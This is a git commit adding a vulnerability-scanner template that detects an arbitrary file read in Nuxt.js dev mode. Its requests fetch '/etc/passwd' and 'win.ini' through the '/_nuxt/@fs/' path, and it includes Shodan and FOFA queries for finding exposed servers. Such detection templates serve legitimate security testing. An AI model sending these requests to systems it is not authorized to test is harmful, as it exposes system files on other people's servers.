Create nuxt-js-lfi.yaml

patch-1
Dhiyaneshwaran 2023-06-17 10:44:18 +05:30 committed by GitHub
parent 11a4ed1c9f
commit d2c173d91b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 32 additions and 0 deletions

View File

@ -0,0 +1,32 @@
id: nuxt-js-lfi
info:
name: Arbitrary File Read in Dev Mode - Nuxt.js
author: DhiyaneshDK
severity: high
description: |
Vite is misconfigured within nuxt to permit any file to be retrieved from the file system.
reference:
- https://huntr.dev/bounties/4849af83-450c-435e-bc0b-71705f5be440/
- https://bryces.io/blog/nuxt3
- https://twitter.com/fofabot/status/1669339995780558849
metadata:
max-request: 1
shodan-query: html:"buildAssetsDir" "nuxt"
fofa-query: body="buildAssetsDir" && body="__nuxt"
verified: "true"
tags: lfi,nuxtjs
http:
- method: GET
path:
- "{{BaseURL}}/_nuxt/@fs/etc/passwd"
- "{{BaseURL}}/_nuxt/@fs/windows/win.ini"
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or